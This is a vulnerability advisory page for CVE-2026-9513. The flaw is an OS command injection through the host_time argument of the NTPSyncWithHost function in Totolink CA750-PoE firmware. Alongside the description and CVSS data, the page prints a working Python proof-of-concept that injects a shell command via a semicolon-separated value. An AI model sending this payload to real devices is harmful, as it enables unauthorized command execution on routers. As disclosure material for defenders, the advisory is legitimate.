Security Vulnerability Report
中文
CVE-2026-9513 CVSS 6.3 MEDIUM

CVE-2026-9513

Published: 2026-05-25 23:16:34
Last Modified: 2026-05-25 23:16:34

Description

A weakness has been identified in Totolink CA750-PoE 6.2c.510. This issue affects the function NTPSyncWithHost of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. Executing a manipulation of the argument host_time can lead to os command injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink CA750-PoE 6.2c.510

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Construct the payload to inject OS command # Example: Reverse shell or simple command execution # Using ';' to separate commands injection_payload = "; echo 'CVE-2026-9513_test' > /tmp/poc.txt" # Data required for the vulnerable function post_data = { "action": "NTPSyncWithHost", "host_time": injection_payload } try: # Sending the malicious request response = requests.post(target_url, data=post_data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
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